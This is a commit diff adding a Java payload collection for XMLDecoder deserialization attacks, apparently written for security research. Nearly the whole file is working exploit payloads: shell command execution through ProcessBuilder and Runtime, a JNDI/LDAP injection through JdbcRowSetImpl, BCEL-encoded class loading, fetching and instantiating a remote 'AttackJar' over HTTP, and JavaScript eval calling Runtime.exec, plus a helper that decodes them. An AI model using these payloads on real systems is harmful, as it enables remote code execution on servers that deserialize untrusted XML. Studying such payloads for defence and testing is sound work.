|
| 1 | +package org.example; |
| 2 | + |
| 3 | +import java.beans.XMLDecoder; |
| 4 | +import java.io.ByteArrayInputStream; |
| 5 | + |
| 6 | +/** |
| 7 | + * @author Whoopsunix |
| 8 | + */ |
| 9 | +public class JavaBean { |
| 10 | + public static void main(String[] args) { |
| 11 | + /** |
| 12 | + * 命令执行 |
| 13 | + */ |
| 14 | + // ProcessBuilder |
| 15 | + String processBuilder = "<java>\n" + |
| 16 | + " <object class=\"java.lang.ProcessBuilder\">\n" + |
| 17 | + " <array class=\"java.lang.String\" length=\"3\" >\n" + |
| 18 | + " <void index=\"0\">\n" + |
| 19 | + " <string>/bin/sh</string>\n" + |
| 20 | + " </void>\n" + |
| 21 | + " <void index=\"1\">\n" + |
| 22 | + " <string>-c</string>\n" + |
| 23 | + " </void>\n" + |
| 24 | + " <void index=\"2\">\n" + |
| 25 | + " <string>open -a Calculator.app</string>\n" + |
| 26 | + " </void>\n" + |
| 27 | + " </array>\n" + |
| 28 | + " <void method=\"start\"/>\n" + |
| 29 | + " </object>\n" + |
| 30 | + "</java>"; |
| 31 | + // runtime |
| 32 | + String runtime= "<java>\n" + |
| 33 | + " <object class=\"java.lang.Runtime\" method=\"getRuntime\">\n" + |
| 34 | + " <void method=\"exec\">\n" + |
| 35 | + " <array class=\"java.lang.String\" length=\"3\" >\n" + |
| 36 | + " <void index=\"0\">\n" + |
| 37 | + " <string>/bin/sh</string>\n" + |
| 38 | + " </void>\n" + |
| 39 | + " <void index=\"1\">\n" + |
| 40 | + " <string>-c</string>\n" + |
| 41 | + " </void>\n" + |
| 42 | + " <void index=\"2\">\n" + |
| 43 | + " <string>open -a Calculator.app</string>\n" + |
| 44 | + " </void>\n" + |
| 45 | + " </array>\n" + |
| 46 | + " <void>\n" + |
| 47 | + " <void method=\"start\"/>\n" + |
| 48 | + " </object>\n" + |
| 49 | + "</java>"; |
| 50 | + |
| 51 | + /** |
| 52 | + * 延时 |
| 53 | + */ |
| 54 | + String sleep = "<java>\n" + |
| 55 | + " <object class=\"java.lang.Thread\">\n" + |
| 56 | + " <void method=\"sleep\">\n" + |
| 57 | + " <long>10000</long>\n" + |
| 58 | + " </void>\n" + |
| 59 | + " </object>\n" + |
| 60 | + "</java>"; |
| 61 | + |
| 62 | + /** |
| 63 | + * 探测 |
| 64 | + */ |
| 65 | + String HTTPLOG = "<java>\n" + |
| 66 | + " <new class=\"java.net.URL\">\n" + |
| 67 | + " <string>http://hostname</string>\n" + |
| 68 | + " <void method=\"getContent\"/>\n" + |
| 69 | + " </new>\n" + |
| 70 | + "</java>"; |
| 71 | + |
| 72 | + String SOCKETLOG = "<java>\n" + |
| 73 | + "<object class=\"java.net.Socket\">\n" + |
| 74 | + " <string>127.0.0.1</string>\n" + |
| 75 | + " <int>1234</int>\n" + |
| 76 | + "</object>\n" + |
| 77 | + "</java>"; |
| 78 | + |
| 79 | + /** |
| 80 | + * jndi todo 还需要完善其他情况 |
| 81 | + */ |
| 82 | + String jndi = "<java>\n" + |
| 83 | + " <void class=\"com.sun.rowset.JdbcRowSetImpl\">\n" + |
| 84 | + " <void property=\"dataSourceName\">\n" + |
| 85 | + " <string>ldap://127.0.0.1:1389/Basic/Command/open -a Calculator.app</string>\n" + |
| 86 | + " </void>\n" + |
| 87 | + " <void property=\"autoCommit\">\n" + |
| 88 | + " <boolean>true</boolean>\n" + |
| 89 | + " </void>\n" + |
| 90 | + " </void>\n" + |
| 91 | + "</java>"; |
| 92 | + |
| 93 | + /** |
| 94 | + * BCEL |
| 95 | + */ |
| 96 | + // static |
| 97 | + String bcel = "<java>\n" + |
| 98 | + " <void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\">\n" + |
| 99 | + " <void method=\"loadClass\">\n" + |
| 100 | + " <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$96$af$o$f8$adx$SL$84$Y$8f$Q$P$S$bdH$d4$88$c1$f3R7uIi$9b$d2$g$fe$91g$$j$3c$f8$D$fcQ$c6$d7J$90$e8$kv$f6$cd$9b$99$b7$bb$9f_$ef$l$A$8e$b1$a7A$85$a1$a1$8c$d5$M$w$RVU$ac$a9XW$b1$c1$90$eeHG$G$a7$M$c9zc$c0$a0t$dd$H$c1P$e8IG$5c$85$e3$a1$f0$ef$f8$d0$s$c6$e8$b9$s$b7$H$dc$97Q$3d$t$95$e0QN$e2$9eo$b5$c4$94$8f$3d$5b$b4$ce$a7$c2l3d$3a$a6$3d$8f$d6$fan$e8$9b$e2BF$9el$d4o$8e$f8$T$d7$91AV$c5$a6$8e$zl3T$5dO8$b5$p$5e$ebr$db$Mm$k$b8$7e$93$7b$9e$8e$j$ec2$94$pG$cb$e6$8eE$DL$e1$F$d2u$Y$8a$7f$H$T$f5$x$bc$k$8e$84$Z0$94$7e$a9$db$d0$J$e4$98$ae$a1Y$oX$U$95z$a3$f7OCoPD$iyP_$ea$f6$D_$3aV$7b$d9p$e3$bb$a6$98L$da$d8G$9a$fe$3aZ$J$b0$e8u$b4kT$9d$Q2$c2$d4$e1$x$d8$yn$af$d0$ae$R$82$M$KIu$3a$e9$3f$o$e4$90$t$cc$a0$b0$I8$8b$D$81$fc$h$SF$f2$F$ca$fd3$94$cbY$cce$c9$97$9a$t$g$94$V$e5d$vA$a7$9c$ie$e8$f1$3c$90$b6$Y$9fJ$df$e0$d7r$ac$g$C$A$A</string>\n" + |
| 101 | + " <void method=\"newInstance\"/>\n" + |
| 102 | + " </void>\n" + |
| 103 | + " </void>\n" + |
| 104 | + "</java>"; |
| 105 | + |
| 106 | + // 通过构造方法传入,具体参考 BCEL demo |
| 107 | + String bcelArg = "<java>\n" + |
| 108 | + " <new class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\">\n" + |
| 109 | + " <void method=\"loadClass\">\n" + |
| 110 | + " <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91MO$c2$40$Q$86$df$a5$c5j$a9$96$82$e0$b7$c6$93$a0$89$8d$f1$8811$GO$f5$pb$f0$e4$a1$94M$5d$d2$PR$8a$e1$ly$e6$a2$c6$83$3f$c0$le$9c$F$o$s$d0$c3$cc$ce$3b$ef$3e3$9b$7e$ff$7c$7e$B8$c1$9e$8e$F$Uu$ac$a2$qCY$c3$9a$86u$N$h$M$Lg$o$S$e99$83R$a96$Z$d4$cb$b8$cd$ZLGD$fc$a6$l$b6x$f2$e0$b6$CR$KN$ec$b9A$d3M$84$ac$t$a2$9a$3e$8b$kC$c9$89$T$df$e6$D7$ec$G$dc$ae$P$b8w$91$f85$d2$xN$c7$7dq$ed$c0$8d$7c$bb$91$s$o$f2kr$88$e2$85mI$9ci2$e8$8d$b8$9fx$fcJH$bc1A$jK$a3$B$N$8b$g6$Nla$db$c0$Ov$Z$8aSB$7d$e0$f1n$w$e2$88$d49$db0$e4$a7$de$dbV$87$7b$v$835$95$ee$fbQ$wB$9a$a9$fb$3c$fd$xJ$95$aa3$e3$a1$zUNT$86$83y$ef$fb$t$dd$r$b1$c7$7b$bd$g$f6$91$a5$l$m$bf$M$98$7c$H$c5$r$aaN$v3$ca$d9$c3w$b0$e1$a8$adS$d4$v$83l$w$Zst2$c6$s$ca$cb$94$r$60e$Cx$o$a7B$d9$92$80$Pd$8e$de$a0$3c$beB$bd$k$92A$a5$L$s$c51$b4L$A$89$96$aaA$A$93$60y$8a$b9QO$O$b4$s$D$e4$c9$a4$9e$dc$cd$g$zU$f8$F$P$W$$$EJ$C$A$A</string>\n" + |
| 111 | + " <void method=\"getConstructor\">\n" + |
| 112 | + " <array class=\"java.lang.Class\" length=\"1\">\n" + |
| 113 | + " <void index=\"0\"><class><string>java.lang.String</string></class></void>\n" + |
| 114 | + " </array>\n" + |
| 115 | + " <void method=\"newInstance\">\n" + |
| 116 | + " <array class=\"java.lang.Object\" length=\"1\">\n" + |
| 117 | + " <void index=\"0\"><string>open -a Calculator.app</string></void>\n" + |
| 118 | + " </array>\n" + |
| 119 | + " </void>\n" + |
| 120 | + " </void>\n" + |
| 121 | + " </void>\n" + |
| 122 | + " </new>\n" + |
| 123 | + "</java>"; |
| 124 | + |
| 125 | + /** |
| 126 | + * load jar |
| 127 | + */ |
| 128 | + // static |
| 129 | + String loadJar = "<java>\n" + |
| 130 | + " <new class=\"java.net.URLClassLoader\">\n" + |
| 131 | + " <array class=\"java.net.URL\" length=\"1\">\n" + |
| 132 | + " <void index=\"0\"><object class=\"java.net.URL\"><string>http://127.0.0.1:1234/AttackJar-1.0.jar</string></object></void>\n" + |
| 133 | + " </array>\n" + |
| 134 | + " <void method=\"loadClass\">\n" + |
| 135 | + " <string>org.example.Exec</string>\n" + |
| 136 | + " <void method=\"newInstance\"/>\n" + |
| 137 | + " </void>\n" + |
| 138 | + " </new>\n" + |
| 139 | + "</java>"; |
| 140 | + // 通过构造方法传入,具体参考 AttackJar demo |
| 141 | + String loadJarArg = "<java>\n" + |
| 142 | + " <new class=\"java.net.URLClassLoader\">\n" + |
| 143 | + " <array class=\"java.net.URL\" length=\"1\">\n" + |
| 144 | + " <void index=\"0\"><object class=\"java.net.URL\"><string>http://127.0.0.1:1234/AttackJar-1.0.jar</string></object></void>\n" + |
| 145 | + " </array>\n" + |
| 146 | + " <void method=\"loadClass\">\n" + |
| 147 | + " <string>org.example.ExecArg</string>\n" + |
| 148 | + " <void method=\"getConstructor\">\n" + |
| 149 | + " <array class=\"java.lang.Class\" length=\"1\">\n" + |
| 150 | + " <void index=\"0\"><class><string>java.lang.String</string></class></void>\n" + |
| 151 | + " </array>\n" + |
| 152 | + " <void method=\"newInstance\">\n" + |
| 153 | + " <array class=\"java.lang.Object\" length=\"1\">\n" + |
| 154 | + " <void index=\"0\"><string>open -a Calculator.app</string></void>\n" + |
| 155 | + " </array>\n" + |
| 156 | + " </void>\n" + |
| 157 | + " </void>\n" + |
| 158 | + " </void>\n" + |
| 159 | + " </new>\n" + |
| 160 | + "</java>"; |
| 161 | + |
| 162 | + /** |
| 163 | + * js |
| 164 | + */ |
| 165 | + String js = "<java>\n" + |
| 166 | + " <new class=\"javax.script.ScriptEngineManager\">\n" + |
| 167 | + " <void method=\"getEngineByName\">\n" + |
| 168 | + " <string>js</string>\n" + |
| 169 | + " <void method=\"eval\">\n" + |
| 170 | + " <string><![CDATA[java.lang./**/Runtime./**/getRuntime().exec('open /System/Applications/Calculator.app');]]></string>\n" + |
| 171 | + " </void>\n" + |
| 172 | + " </void>\n" + |
| 173 | + " </new>\n" + |
| 174 | + "</java>"; |
| 175 | + |
| 176 | + xmlDecoder(js); |
| 177 | + } |
| 178 | + |
| 179 | + public static Object xmlDecoder(String payload) { |
| 180 | + System.out.println(payload); |
| 181 | + XMLDecoder xmlDecoder = new XMLDecoder(new ByteArrayInputStream(payload.getBytes())); |
| 182 | + Object obj = xmlDecoder.readObject(); |
| 183 | + xmlDecoder.close(); |
| 184 | + return obj; |
| 185 | + } |
| 186 | +} |
0 commit comments